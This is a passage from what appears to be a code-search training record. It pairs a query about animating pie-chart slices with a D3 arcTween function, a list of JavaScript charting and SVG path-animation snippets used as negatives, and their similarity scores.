google.visualization.PieChart(document.getElementById('piechart'));\n chart.draw(data, options);\n }\n}", "function drawChart() {\n var data = google.visualization.arrayToDataTable([\n ['', 'Hours per Day'],\n ['', 8],\n ['', 2],\n ['', 4],\n ['', 2],\n ['', 8]\n ]);\n \n var options = { legend: 'none','width':50, 'height':40};\n \n // var chart = new google.visualization.PieChart(document.getElementById('piechart'));\n // chart.draw(data,options);\n }", "function chartPieAdvanced (chart, datum) {\n var legendConfig = datum.legend || {};\n var tooltipConfig = datum.tooltip || {}; // Chart Config\n\n chart.label(function (d) {\n return d.label;\n }).value(function (d) {\n return d.value;\n }).duration.conditionally(datum.duration).donutRatio.conditionally(datum.donutRatio).radius.conditionally(datum.radius, function (d, w, h) {\n return datum.radius(w, h);\n }).at.conditionally(datum.at, function (d, w, h, r) {\n return functor(datum.at)(w, h, r);\n }).color.proxy(function (d) {\n return d.color || functor(datum.color)(d);\n }).values.proxy(function (d) {\n return Array.isArray(d.values) ? d.values : undefined;\n }); // Chart Frame Config\n\n chart.chartFrame().size.conditionally(datum.size).chartPadding.conditionally(datum.chartPadding).padding.conditionally(datum.padding).legendEnabled.conditionally(legendConfig.enabled).legendOrient.conditionally(legendConfig.orient); // Legend Config\n\n chart.legend().vertical.conditionally(legendConfig.orient, ['right', 'left'].includes(legendConfig.orient)).clickable.conditionally(legendConfig.clickable).dblclickable.conditionally(legendConfig.dblclickable).allowEmptied.conditionally(legendConfig.allowEmptied).icon.proxy(function (d) {\n return d.legendIcon || functor(legendConfig.icon)(d);\n }); // Tooltip Config\n // const percentFormat = format('.0%');\n\n chart.tooltip().followMouse.conditionally(tooltipConfig.followMouse).my.conditionally(tooltipConfig.my).at.conditionally(tooltipConfig.at).html.proxy(function (d) {\n var data = d.data;\n var percent = d.__percent__;\n\n if (data.tooltip !== undefined) {\n return data.tooltip;\n } else if (tooltipConfig.html !== undefined) {\n return functor(tooltipConfig.html)(data, percent);\n }\n }); // Pie Config\n\n var pie = chart.pie(); // D3 Arc Config\n\n var d3Arc = pie.arc();\n if (datum.cornerRadius !== undefined) d3Arc.cornerRadius(datum.cornerRadius, 0); // D3 Pie Config\n\n var d3Pie = pie.pie();\n if (datum.startAngle !== undefined) d3Pie.startAngle(datum.startAngle);\n if (datum.endAngle !== undefined) d3Pie.endAngle(datum.endAngle);\n if (datum.padAngle !== undefined) d3Pie.padAngle(datum.padAngle);\n if (datum.sort !== undefined) d3Pie.sort(datum.sort === null ? null : function (a, b) {\n return datum.slice(0).sort(a.data, b.data);\n });\n return datum;\n}", "function createPieChart(chartContainer, chartTitle, dataPoints) {\n var chart = new CanvasJS.Chart(\n chartContainer,\n {\n title: {\n text: chartTitle\n },\n legend:{\n verticalAlign: \"center\",\n horizontalAlign: \"left\",\n fontSize: 16,\n fontFamily: \"Helvetica\" \n },\n theme: \"theme1\",\n data: [{ \n type: \"pie\", \n indexLabelFontFamily: \"Garamond\", \n indexLabelFontSize: 20,\n startAngle:-20, \n showInLegend: true,\n dataPoints: dataPoints\n }\n ]\n });\n chart.render();\n}", "function Visdoughnut(nb, nb1, nb2, nb3)\n{\nvar doughnutChart = echarts.init(document.getElementById('doughnut-chart'));\n\n// specify chart configuration item and data\n\noption = {\n tooltip : {\n trigger: 'status',\n formatter: \"{a} : {b} ({c}%)\"\n },\n legend: {\n orient : 'vertical',\n x : 'left',\n data:['A faire','en Cours','Terminée','Validée']\n },\n toolbox: {\n show : true,\n feature : {\n dataView : {show: true, readOnly: true},\n \n restore : {show: true},\n saveAsImage : {show: true}\n }\n },\n color: [\"#009efb\",\"#55ce63\",\"#FFD700\",\"#dd1d36\"],\n calculable : true,\n series : [\n {\n name:'Source',\n type:'pie',\n radius : ['80%', '90%'],\n itemStyle : {\n normal : {\n label : {\n show : false\n },\n labelLine : {\n show : false\n }\n },\n emphasis : {\n label : {\n show : true,\n position : 'center',\n textStyle : {\n fontSize : '30',\n fontWeight : 'bold'\n }\n }\n }\n },\n data:[\n {value:nb, name:'Tâche â faire'},\n {value:nb1, name:'Tâche en cours'},\n {value:nb2, name:'Tâche terminée'},\n {value:nb3, name:'Tâche validée'},\n \n ]\n }\n ]\n};\n \n \n\n// use configuration item and data specified to show chart\ndoughnutChart.setOption(option, true), $(function() {\n function resize() {\n setTimeout(function() {\n doughnutChart.resize()\n }, 100)\n }\n $(window).on(\"resize\", resize), $(\".sidebartoggler\").on(\"click\", resize)\n });\n}", "function makepie(x, y, can, title) {\n var ctx = document.getElementById(can).getContext(\"2d\");\n var chart = new Chart(ctx, {\n type: \"pie\",\n\n data: {\n labels: x,\n datasets: [\n {\n data: y,\n backgroundColor: [\"#90EE90\", \"#e420208f\", \"#ffa368\"],\n borderColor: [\"#29ab87\", \"#cd5c5c\", \"#FF6700\"],\n borderWidth: 1\n },\n ],\n },\n options: {\n responsive: true,\n cutoutPercentage: 50,\n maintainAspectRatio: false,\n title: {\n display: true,\n text: title,\n },\n },\n });\n return chart;\n}", "function drawMalesVsFemalesChart(){\n // Initialize the characteristics of the Pie chart\n var options = {\n pieHole: 0.4,\n fontSize: 18,\n \n title: 'Number of Males Vs Females With HIV (1990-2015)',\n titleTextStyle: {\n color: \"#9A9A9A\"\n },\n legend: {\n alignment: 'center'\n },\n chartArea: {\n width: 450,\n height: 400\n }\n };\n\n // Create the valid rows for google chart API\n var data = new google.visualization.DataTable();\n // Add columns to the table\n data.addColumn('string', 'Sex');\n data.addColumn('number', 'Number of HIV Incidence');\n data.addRows([\n ['Males', sexStatistics['malesHIV']],\n ['Females', sexStatistics['femalesHIV']]\n ])\n\n // Add all the rows to the Data Table\n\n\n\n // Get Element of the div and Draw the chart\n var chart = new google.visualization.PieChart(document.getElementById('males_vs_females'));\n chart.draw(data, options);\n}", "function pieChart(pieData, countyID, yearID){\n // Isolate values and labels for chart\n let model_reg = pieData.map(d => d.reg_count)\n let makemodel = pieData.map(d => { return d. make + \" \" + d.model});\n\n \n // Create Data\n let data = \n [{\n values: model_reg,\n labels: makemodel,\n domain:{column:0},\n hoverinfo: 'label+percent',\n hole: .4,\n type: 'pie',\n textposition: 'inside'\n }];\n \n let layout = {\n title: `${yearID} ${countyID} Model Registrations`,\n annotations: \n [{\n font: {\n size: 14\n },\n showarrow: false,\n text: 'Models',\n x: .5,\n y: 0.5\n }],\n automargin: true,\n height: 400,\n width: 400,\n // width: d3.select('pie').clientWidth,\n showlegend: false,\n // grid: {rows: 1, columns: 2}\n };\n\n \n Plotly.newPlot('pie', data, layout, {displayModeBar: false});\n}", "function handleChartOnClick() {\n $('.piechartDiv,.barchartDiv, .linechartDiv').click(function (e) {\n var firstEleId = e.currentTarget.firstElementChild.getAttribute(\"id\");\n //get chart data\n var chart = null;\n var data = null;\n var container = null;\n for (var i = 0; i < available_charts.length; i++) {\n if (available_charts[i].id == firstEleId) {\n data = jQuery.extend({}, available_charts[i]);\n zoomChart();\n break;\n }\n }\n if (graphLibGlob === \"d3\") {\n zoomChart();\n if (data.data.message[0].component.payload.pie_type === undefined) {\n data.data.message[0].component.payload.pie_type = 'regular';\n }\n if (data.data.message[0].component.payload.template_type !== 'linechart' && data.data.message[0].component.payload.template_type !== 'piechart') {\n var dimens = {};\n dimens.outerWidth = 650;\n dimens.outerHeight = 460;\n dimens.innerWidth = 450;\n dimens.innerHeight = 350;\n dimens.legendRectSize = 15;\n dimens.legendSpacing = 4;\n $('.chartContainerDiv').html('');\n if (data.data.message[0].component.payload.template_type === 'barchart' && data.data.message[0].component.payload.direction === 'vertical' && data.type === \"barchart\") {\n dimens.innerWidth = 500;\n KoreGraphAdapter.drawD3barChart(data.data, dimens, '.chartContainerDiv', 12);\n } else if (data.data.message[0].component.payload.template_type === 'barchart' && data.data.message[0].component.payload.direction === 'horizontal' && data.type === \"stackedBarchart\") {\n KoreGraphAdapter.drawD3barStackedChart(data.data, dimens, '.chartContainerDiv', 12);\n } else if (data.data.message[0].component.payload.template_type === 'barchart' && data.data.message[0].component.payload.direction === 'vertical' && data.type === \"stackedBarchart\") {\n dimens.innerWidth = 550;\n KoreGraphAdapter.drawD3barVerticalStackedChart(data.data, dimens, '.chartContainerDiv', 12);\n } else if (data.data.message[0].component.payload.template_type === 'barchart' && data.data.message[0].component.payload.direction === 'horizontal' && data.type === \"barchart\") {\n dimens.outerWidth = 650;\n dimens.outerHeight = 350;\n dimens.innerWidth = 450;\n dimens.innerHeight = 310;\n KoreGraphAdapter.drawD3barHorizontalbarChart(data.data, dimens, '.chartContainerDiv', 12);\n }\n }\n else if (data.data.message[0].component.payload.template_type === \"linechart\") {\n var dimens = {};\n dimens.outerWidth = 650;\n dimens.outerHeight = 450;\n dimens.innerWidth = 480;\n dimens.innerHeight = 350;\n dimens.legendRectSize = 15;\n dimens.legendSpacing = 4;\n $('.chartContainerDiv').html('');\n // KoreGraphAdapter.drawD3lineChart(data.data, dimens, '.chartContainerDiv', 12);\n KoreGraphAdapter.drawD3lineChartV2(data.data, dimens, '.chartContainerDiv', 12);\n\n }\n else if (data.data.message[0].component.payload.pie_type) {\n var dimens = {};\n dimens.width = 600;\n dimens.height = 400;\n dimens.legendRectSize = 15;\n dimens.legendSpacing = 4;\n $('chartContainerDiv').html('');\n if (data.data.message[0].component.payload.pie_type === \"regular\") {\n KoreGraphAdapter.drawD3Pie(data.data, dimens, '.chartContainerDiv', 16);\n }\n else if (data.data.message[0].component.payload.pie_type === \"donut\") {\n KoreGraphAdapter.drawD3PieDonut(data.data, dimens, '.chartContainerDiv', 16, 'donut');\n }\n else if (data.data.message[0].component.payload.pie_type === \"donut_legend\") {\n $('chartContainerDiv').html('');\n KoreGraphAdapter.drawD3PieDonut(data.data, dimens, '.chartContainerDiv', 16, 'donut_legend');\n }\n }\n }\n else if (graphLibGlob === \"google\") {\n if (data.type === \"piechart\") {\n google.charts.load('current', { 'packages': ['corechart'] });\n google.charts.setOnLoadCallback(drawChart);\n function drawChart() {\n container = document.getElementsByClassName('chartContainerDiv');\n chart = new google.visualization.PieChart(container[0]);\n }\n }\n else if (data.type === \"linechart\") {\n google.charts.load('current', { packages: ['corechart', 'line'] });\n google.charts.setOnLoadCallback(drawChart);\n function drawChart() {\n container = document.getElementsByClassName('chartContainerDiv');\n chart = new google.visualization.LineChart(container[0]);\n }\n }\n else if (data.type === \"barchart\") {\n google.charts.load('current', { packages: ['corechart', 'bar'] });\n google.charts.setOnLoadCallback(drawChart);\n function drawChart() {\n container = document.getElementsByClassName('chartContainerDiv');\n if (data.direction === 'vertical') {\n chart = new google.visualization.ColumnChart(container[0]);\n }\n else {\n chart = new google.visualization.BarChart(container[0]);\n }\n }\n }\n setTimeout(function () {\n var chartAreaObj = { \"height\": \"85%\", \"width\": \"85%\" };\n data.options.chartArea = chartAreaObj;\n google.visualization.events.addListener(chart, 'ready', function () {\n setTimeout(function () {\n $(\".largePreviewContent .chartContainerDiv\").css(\"height\", \"91%\");\n });\n });\n chart.draw(data.data, data.options);\n }, 200);\n }\n });\n }" ]
[ "0.7452298", "0.7024992", "0.70180714", "0.701598", "0.7011316", "0.700679", "0.69841045", "0.6980218", "0.6966121", "0.6959312", "0.69420415", "0.6914638", "0.69050246", "0.6884008", "0.68719476", "0.6867996", "0.68510365", "0.68456197", "0.68305707", "0.6827907", "0.6827179", "0.6822623", "0.6822175", "0.6819534", "0.680182", "0.67934465", "0.6791961", "0.67888457", "0.67843413", "0.6778049", "0.6772519", "0.67703813", "0.67657393", "0.67611545", "0.6731066", "0.67292804", "0.6724717", "0.67185014", "0.6711854", "0.6697764", "0.66940564", "0.66924405", "0.66807127", "0.6668264", "0.66548145", "0.6645916", "0.6644102", "0.6638736", "0.66376245", "0.66326565", "0.66264147", "0.662559", "0.66082895", "0.66049355", "0.660242", "0.65846103", "0.65826815", "0.65754384", "0.6555621", "0.65471584", "0.6546707", "0.65458953", "0.6545207", "0.65318483", "0.65251064", "0.65207", "0.6518977", "0.6514646", "0.6512001", "0.6510789", "0.65030324", "0.65007013", "0.65004295", "0.64832044", "0.64769614", "0.64759517", "0.64694697", "0.6468508", "0.64648575", "0.64587414", "0.6457969", "0.6452561", "0.64493376", "0.6445893", "0.6441269", "0.6436503", "0.6427241", "0.6425211", "0.6415926", "0.64145476", "0.64145476", "0.64118737", "0.64112353", "0.64101464", "0.6409784", "0.6407782", "0.64076376", "0.6405391", "0.6392855", "0.63908654" ]
0.6710963
39
Animating the pieslice requiring a custom function which specifies how the intermediate paths should be drawn.
function arcTween(a) { var i = d3.interpolate(this._current, a); this._current = i(0); return function(t) { return arc(i(t)); }; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function animate(){\n\tdone = false;\n if(t<points.length-1 && visible){ \n\t\trequestAnimationFrame(animate); \n\t} else {\n\t\tif (!visible) {\n\t\t\treturn;\n\t\t}\n\t\t//continues to next lines if avaliable\n\t\tif (index < paths.length) {\n\t\t\tpoints = paths[index];\n\t\t\tindex++;\n\t\t\tt = 1;\n\t\t\tanimate();\n\t\t} else {\n\t\t\tdone = true;\n\t\t}\n\t}\n ctx.beginPath();\n\tctx.strokeStyle = \"white\";\n\t//draws path from prev way point to current\n ctx.moveTo(points[t-1].x,points[t-1].y);\n ctx.lineTo(points[t].x,points[t].y);\n ctx.stroke();\n\tctx.closePath();\n\t//increments paths\n t++;\n}", "function runAnimation() {\n\t // Draw a straight line\n\t bsBackground.draw({\n\t points: [0, height / 2 - 40, width, height / 3]\n\t });\n\n\t // Draw a straight line\n\t bsBackground.draw({\n\t points: [50, height / 3 - 40, width, height / 3]\n\t });\n\n\n\t // Draw another straight line\n\t bsBackground.draw({\n\t points: [width, height / 2, 0, height / 1.5 - 40]\n\t });\n\n\t // Draw a curve generated using 20 random points\n\t bsBackground.draw({\n\t inkAmount: 3,\n\t frames: 100,\n\t size: 200,\n\t splashing: true,\n\t points: 20\n\t });\n\t}", "start() {\n var path =\n 'M1 1C1 1 62.1562 56.1927 101.659 72.1468C141.162 88.1009 207 95 207 95'; // an SVG path\n\n\n // path.setAttribute('transform', 'translate(50,50)');\n var pathAnimator;\n var startFromPercent = 0; // start from 10% of the path\n var stopAtPercent = 90; // stop at 9 0% of the path (which will then call the onDone function callback)\n\n // initiate a new pathAnimator object\n pathAnimator = new PathAnimator(path, {\n duration: 5, // seconds that will take going through the whole path\n step: (point, angle) => {\n // do something every \"frame\" with: point.x, point.y & angle\n this.x = point.x;\n this.y = point.y;\n // ctx.clearRect(0, 0, canvas.width, canvas.height);\n this._draw();\n },\n easing: function (t) {\n return t * (2 - t);\n },\n onDone: finish(this),\n });\n\n pathAnimator.start(startFromPercent, stopAtPercent);\n\n function finish() {\n // do something when animation is done\n }\n }", "function transition() {\n\n linePath.transition()\n .duration(7500)\n .attrTween(\"stroke-dasharray\", tweenDash)\n .on(\"end\", function() {\n d3.select(this).call(transition);// infinite loop\n }); \n }", "function step() {\n redraw.stepAnimation();\n }", "function step() {\n redraw.stepAnimation();\n }", "function animateNext()\n{\t\n\tvar oPlan = {};\n\toPlan.index = i;\t\n\toPlan.startPoint = [-33.918861, 18.423300];\n\toPlan.endPoint = countries[i].latlng;\t\n\toPlan.animLoop = false;\n\toPlan.animIndex = 0;\n\toPlan.planePath = false;\n\toPlan.trailPath = false;\n\tanimPlans.push(oPlan);\n\tanimate(oPlan);\n\n\tactiveAnimations++;\n\n\ti++;\n\tif (i >= total) return;\n\t\n\twait();\t\n}", "function animatePath(newValue, oldValue, duration, updateFrame, finishFn, easeFn) {\n\t\t if (finishFn === void 0) { finishFn = function () { }; }\n\t\t if (easeFn === void 0) { easeFn = easing_1.easing.easeOutElastic; }\n\t\t var start = null, interpolate = d3.interpolateArray(oldValue, newValue);\n\t\t var step = function (now) {\n\t\t if (duration === -1)\n\t\t return finishFn();\n\t\t if (start == null)\n\t\t start = now;\n\t\t var progress = now - start, percent = 1;\n\t\t if (progress < duration) {\n\t\t requestAnimationFrame(step);\n\t\t percent = easeFn(progress, 0, 1, duration);\n\t\t }\n\t\t updateFrame(interpolate(percent));\n\t\t };\n\t\t requestAnimationFrame(step);\n\t\t return function cancel() {\n\t\t duration = -1;\n\t\t };\n\t\t}", "function animateGraph() {\n var pathArray = document.querySelectorAll(elem + \" \" + 'svg path')\n for (var i = 0; i < pathArray.length; i++) {\n var path = pathArray[i];\n var length = path.getTotalLength();\n // Clear any previous transition\n path.style.transition = path.style.WebkitTransition =\n 'none';\n // Set up the starting positions\n path.style.strokeDasharray = length + ' ' + length;\n path.style.strokeDashoffset = length;\n // Trigger a layout so styles are calculated & the browser\n // picks up the starting position before animating\n path.getBoundingClientRect();\n // Define our transition\n path.style.transition = path.style.WebkitTransition =\n 'stroke-dashoffset 0.344s cubic-bezier(0.23, 0.6, 0.09, 0.96)';\n // Go!\n path.style.strokeDashoffset = '0';\n }\n\n\n }", "function drawDemo(t,duration) {\n push();\n translate(3*width/4,height/2);\n strokeWeight(1);\n let p = t/(duration);\n let g = (1-p)*100;\n stroke(40);\n // the first point of generation n and n-1\n let v1 = points3[0].copy();\n circle(v1.x,cy(v1.y),2)\n let v2 = points4[0].copy();\n circle(v2.x,cy(v2.y),2)\n line(v1.x,cy(v1.y),v2.x,cy(v2.y)); // line gen n to gen n-1 for the first point\n drawarrow(v1,v2);\n // the first point of the moving line\n v1.mult(p).add(v2.mult(1-p));\n stroke(255);\n circle(v1.x,cy(v1.y),2) // first point of the moving line\n for (let i=1;i<points3.length;i++) {\n // the 2 generations\n stroke(40)\n let v11 = points3[i-1]; \n let v12 = points3[i];\n line(v11.x,cy(v11.y),v12.x,cy(v12.y)) // line generation n-1\n circle(v12.x,cy(v12.y),2)\n let v21 = points4[i-1]\n let v22 = points4[i]\n line(v21.x,cy(v21.y),v22.x,cy(v22.y)) // line generation n\n circle(v22.x,cy(v22.y),2)\n line(v12.x,cy(v12.y),v22.x,cy(v22.y)); // line gen n to gen n-1\n drawarrow(v12,v22);\n // the line in between\n v1 = p5.Vector.add(v11.copy().mult(p),v21.copy().mult(1-p));\n v2 = p5.Vector.add(v12.copy().mult(p),v22.copy().mult(1-p));\n stroke(255);\n line(v1.x,cy(v1.y),v2.x,cy(v2.y)); // the moving line\n circle(v2.x,cy(v2.y),2)\n }\n pop();\n}", "animateFlow(flow, path, back, rate, offset, total) {\n let l = path.node().getTotalLength();\n const count = flow.size();\n const duration = (l * 10) / rate;\n flow\n .transition()\n .ease(\"easeLinear\")\n .duration(duration)\n .attrTween(\"transform\", this.translateDots(path, count, back, offset, total))\n .each(\"end\", () => {\n if (this.stopped === false) {\n setTimeout(() => {\n this.animateFlow(flow, path, back, rate, offset, total);\n }, 1);\n }\n });\n }", "animate(start) {\n this.animating = requestAnimationFrame((timestamp) => {\n if (!start) {\n start = timestamp;\n }\n\n // Get the delta on how far long in our animation we are.\n const delta = (timestamp - start) / AnimationDurationMs;\n\n // If we're above 1 then our animation should be complete.\n if (delta > 1) {\n this.animating = null;\n // Just to be safe set our final value to the new graph path.\n this.setState({ path: this.previousPie });\n // Stop our animation loop.\n return;\n }\n // Tween the SVG path value according to what delta we're currently at.\n\n try {\n this.state.path.tween(delta);\n console.log('this.state.path.tween(delta) was called!');\n } catch (e) {\n console.log('e', e);\n }\n\n this.setState(this.state, () => {\n this.animate(start);\n });\n });\n }", "function transition() {\n if(animFlag){\n d3.selectAll(\".line\").transition().duration(1000).ease(\"linear\")\n .style(\"stroke-dashoffset\", \"12\")\n .each(\"end\", function() {\n d3.selectAll(\".line\").style(\"stroke-dashoffset\", \"0\");\n transition();\n });\n }\n }", "function replay() {\n data = selectedLocations[0];\n var slices = [];\n for (var i = 0; i < data.length; i++) {\n slices.push(data.slice(0, i+1));\n }\n \n slices.forEach(function(slice, index){\n setTimeout(function(){\n draw(slice);\n }, index * 300);\n });\n }", "function introAnimate() {\r\n\tif (animations.dots.current <= animations.dots.total) {\r\n\t\tvar points = groups.globeDots.geometry.vertices;\r\n\t\tvar totalLength = points.length;\r\n\t\tfor (var i = 0; i < totalLength; i++) {\r\n\r\n\t\t\t// Get ease value\r\n\t\t\tvar dotProgress = easeInOutCubic(animations.dots.current / animations.dots.total);\r\n\r\n\t\t\t// Add delay based on loop iteration\r\n\t\t\tdotProgress = dotProgress + (dotProgress * (i / totalLength));\r\n\t\t\tif (dotProgress > 1) {\r\n\t\t\t\tdotProgress = 1;\r\n\t\t\t}\r\n\r\n\t\t\t// Move the point\r\n\t\t\tpoints[i].x = animations.dots.points[i].x * dotProgress;\r\n\t\t\tpoints[i].y = animations.dots.points[i].y * dotProgress;\r\n\t\t\tpoints[i].z = animations.dots.points[i].z * dotProgress;\r\n\t\t}\r\n\t\tanimations.dots.current++;\r\n\r\n\t\t// Update verticies\r\n\t\tgroups.globeDots.geometry.verticesNeedUpdate = true;\r\n\t}\r\n}", "function start_drawing() {\n $('#normal_ear').lazylinepainter( \n {\n \"svgData\": pathObj,\n \"strokeWidth\": 2,\n \"strokeColor\": \"#7f857f\"\n }).lazylinepainter('paint'); \n }", "function animate_line (a, fx, fy, color, stroke_width) {\n\t\tvar x = a[0].attrs.cx - 10,\n\t\t\ty = a[0].attrs.cy;\n\n\t\tvar l = paper.path(\"M\" + x + \",\" + y + \"L\" + x + \",\" + y);\n\t\tl.attr({\"stroke\": color, \"stroke-width\": stroke_width, \"stroke-linecap\": \"butt\", opacity: 0.7});\n\t\tl.animate({\"path\": [l.attrs.path[0], [\"L\", fx, fy]]}, 500, \"<\");\t // ease in \n\t}", "function animDrawPointMove(xxa , yya , xxb , yyb , lerp){\t\r\n\tryy = xxb;//\t\tstore x position on second number line for displaying as text\r\n\t\r\n\t//\t\tconver to screen space. For yya, this is done in rotateNumberLine() right before this function is called.\r\n\tyyb = (-yyb + screeny) * screenScale;\r\n\r\n\t\r\n\t//\t\tmove coordinates to be on rotated number lines\r\n\tyya = yya-xxa*Math.sin(animLrot[animLnum]*0.0174532925199444)*screenScale;\r\n\txxa = (xxa*Math.cos(animLrot[animLnum]*0.0174532925199444)-screenx)*screenScale;\r\n\t\r\n\tyyb = yyb-xxb*Math.sin(animLrot[animLnum+1]*0.0174532925199444)*screenScale;\r\n\txxb = (xxb*Math.cos(animLrot[animLnum+1]*0.0174532925199444)-screenx)*screenScale;\r\n\t\r\n\t\r\n\tif(animGetsGraphed[animLnum]){//\t\tif transitioning points to their 2D locations\r\n\t\tctx.lineWidth = (1.05-animGraphyness[animLnum])*animTxtHight/7;//\t\tfade out arrows. 1.05 leaves a very faint arrow. If you want it to go completly blank, use 1.001. A line weight of 0 causes problems.\r\n\r\n\t\tctx.beginPath();//\t\tdraw arrow from left number line to points\r\n\t\tctx.moveTo(xxb , yyb);\r\n\r\n\t\txxb = xxa*animGraphyness[animLnum] + xxb*(1-animGraphyness[animLnum]);//\t\tmove second point from line to directly above point on first line\r\n\t\t\r\n\t\t//\t\tdraw arrow head\r\n\t\tctx.lineTo(xxb , yyb);\r\n\t\tctx.moveTo(xxb , yyb);\r\n\t\tctx.lineTo(xxb-animTxtHight*0.9 , yyb+animTxtHight*0.3);\r\n\t\tctx.moveTo(xxb , yyb);\r\n\t\tctx.lineTo(xxb-animTxtHight*0.9 , yyb+animTxtHight*-0.3);\r\n\t\tctx.stroke();\r\n\t}else{\r\n\t\tctx.lineWidth = animTxtHight/7;\r\n\t}\r\n\t\r\n\t//\t\t-----------------------------------------------------------------------\t\t[ Point at xxa on yya ]\t\t-----------------------------------------------------------------------\r\n\tctx.beginPath();\r\n\tctx.arc(xxa , yya , animTxtHight/8 , 0 , _piTimes2);\r\n\tctx.stroke();\r\n\tctx.closePath();\r\n\tctx.fill();\r\n\tctx.stroke();\r\n\t\r\n\t//\t\t-----------------------------------------------------------------------\t\t[ Point at xxb on yyb ]\t\t-----------------------------------------------------------------------\r\n\tif(lerp > 0.8){\r\n\t\tctx.beginPath();\r\n\t\tctx.arc(xxb , yyb , animTxtHight/8 , 0 , _piTimes2);\r\n\t\tctx.stroke();\r\n\t\tctx.closePath();\r\n\t\tctx.fill();\r\n\t\tctx.stroke();\r\n\t\tctx.fillText( (Math.round(ryy*100)/100).toString() , xxb , yyb - 10);\r\n\t}\r\n\t//\t\tslope of line joining points between number lines\r\n\tdx = xxb-xxa;\r\n\tdy = yyb-yya;\r\n\t\r\n\tftmp = Math.sqrt(dx*dx+dy*dy);//\t\tmagnitude of vector (dx,dy)\r\n\t\r\n\tctx.beginPath();\r\n\tctx.moveTo(xxa , yya);\r\n\r\n\txxb = xxa + lerp * dx;//\t\tlerp animates from 0 to 1 to animate the line being drawn from the first point to the second\r\n\tyyb = yya + lerp * dy;\r\n\t\r\n\tdx /= ftmp;//\t\tunit vectors for line slope\r\n\tdy /= ftmp;\r\n\t\r\n\t//\t\t-----------------------------------------------------------------------\t\t[ Line from (xxa,yya) to (xxb,yyb) ]\t\t-----------------------------------------------------------------------\r\n\tctx.lineTo(xxb , yyb);\r\n\tctx.moveTo(xxb , yyb);\r\n\tctx.lineTo(xxb+animTxtHight*(-dy*0.3-dx) , yyb+animTxtHight*(dx*0.3-dy));\r\n\tctx.moveTo(xxb , yyb);\r\n\tctx.lineTo(xxb+animTxtHight*(dy*0.3-dx) , yyb+animTxtHight*(-dx*0.3-dy));\r\n\tctx.stroke();\r\n}", "function animate() {\n oneStep();\n if( ! stopRequested ) {\n animationId = requestAnimationFrame(animate);\n }\n}", "function animate() { \n if (back == 0){\n clk+=2;\n }\n if (clk > 100){\n back = 1;\n }\n if (back == 1){\n clk-=2;\n }\n if (clk < 1){\n back = 0;\n }\n if(clk2 < 200){\n loadVertices();\n }\n clk2 ++;\n}", "function animateThis(e) {\n var obj = Snap(e),\n path1 = 0,\n path2 = 0,\n path3 = 0,\n path4 = 0,\n path0 = 0,\n length1,\n length2,\n length3,\n length4;\n var arrWomen = [\n \"M61 121c33.137 0 60-26.863 60-60S94.137 1 61 1 1 27.863 1 61s26.863 60 60 60z\",\n \"M60.55 76.503c14.637 0 26.503-11.72 26.503-26.18 0-14.456-11.866-26.178-26.502-26.178-14.635 0-26.502 11.72-26.502 26.18 0 14.457 11.866 26.178 26.503 26.178zm1.295-.058v24.744-24.745zM49.665 87.39H74.71 49.665z\",\n \"M60.785 116.57C29.975 116.57 5 91.594 5 60.785 5 29.975 29.976 5 60.785 5c30.81 0 55.785 24.976 55.785 55.785 0 30.81-24.976 55.785-55.785 55.785z\"\n ],\n arrMen = [\n \"M61 121c33.137 0 60-26.863 60-60S94.137 1 61 1 1 27.863 1 61s26.863 60 60 60z\",\n \"M61.324 116.784c30.63 0 55.46-24.83 55.46-55.46 0-30.63-24.83-55.46-55.46-55.46-30.63 0-55.46 24.83-55.46 55.46 0 30.63 24.83 55.46 55.46 55.46z\",\n \"M54.816 95.892c14.386 0 26.047-11.66 26.047-26.046 0-14.385-11.66-26.047-26.047-26.047-14.386 0-26.047 11.66-26.047 26.046 0 14.385 11.66 26.046 26.046 26.046z\",\n \"M73.036 51.627l19.292-19.295m-11.79 0h11.79v11.792\"\n ],\n arrCouples = [\n \"M61 121c33.137 0 60-26.863 60-60S94.137 1 61 1 1 27.863 1 61s26.863 60 60 60z\",\n \"M50.228 84.34c13.95 0 25.26-11.308 25.26-25.258s-11.31-25.257-25.26-25.257c-13.95 0-25.26 11.308-25.26 25.257 0 13.95 11.31 25.258 25.26 25.258z\",\n \"M67.896 41.416l18.707-18.71m-11.43 0h11.43V34.14\",\n \"M66.478 90.494c11.025 0 19.964-8.83 19.964-19.72 0-10.89-8.938-19.72-19.964-19.72-11.025 0-19.964 8.83-19.964 19.72 0 10.89 8.94 19.72 19.964 19.72zm.975-.54v18.637-18.637zm-9.176 8.244h18.867-18.866z\",\n \"M60.785 116.246c30.63 0 55.46-24.83 55.46-55.46 0-30.63-24.83-55.462-55.46-55.462-30.63 0-55.46 24.83-55.46 55.46 0 30.63 24.83 55.462 55.46 55.462z\"\n ],\n arrOld = [\n \"M61 121c33.137 0 60-26.863 60-60S94.137 1 61 1 1 27.863 1 61s26.863 60 60 60z\",\n \"M57.948 68.574h8.54l2.42-5.738v15.33l5.02-21.26-.133 16.08 3-7.658H87.39\",\n \"M97.685 65.536l-36.628 36.64-36.628-36.64c-6.768-6.77-6.768-17.952 0-24.72 3.235-3.238 7.648-5.15 12.355-5.15 4.707 0 9.12 1.764 12.356 5.15l10.15 10.15-7.06 7.212c-.44.44-.44 1.325 0 1.765.294.294.59.294.883.294.294 0 .588-.146.882-.294l7.943-7.945L72.97 40.963c3.237-3.238 7.65-5.152 12.357-5.152 4.707 0 9.12 1.767 12.356 5.153 6.914 6.62 6.914 17.803 0 24.572h.002z\",\n \"M60.785 116.57c30.81 0 55.785-24.976 55.785-55.785C116.57 29.975 91.594 5 60.785 5 29.975 5 5 29.976 5 60.785c0 30.81 24.976 55.785 55.785 55.785z\"\n ],\n arrArticle = [\n \"M0,63a63,63 0 1,0 126,0a63,63 0 1,0 -126,0\",\n \"M34.87 30.712c-1.98 0-3.604 2.103-3.604 4.625V93.61c0 2.555 1.625 4.624 3.605 4.624H92.54v-.03h.1c.026 0 .052 0 .076-.032.026 0 .05 0 .078-.034 1.65-.387 2.944-2.262 2.944-4.528V51.766c0-2.522-1.65-4.625-3.63-4.625h-2.994V35.338c0-2.522-1.65-4.625-3.63-4.625h-50.61zm0 1.844h50.61c1.22 0 2.21 1.228 2.21 2.78v12.58c-.026.065-.026.098 0 .162v43.01c0 2.522.533 4.203 1.267 5.336H34.87c-1.218 0-2.182-1.26-2.182-2.814V35.337c0-1.553.964-2.78 2.183-2.78zm14.85 6.112c-.357.065-.636.486-.636.937V55.03c0 .487.33.906.71.906h20.788c.356 0 .712-.42.712-.906V39.605c0-.485-.357-.937-.712-.937H49.72zm.785 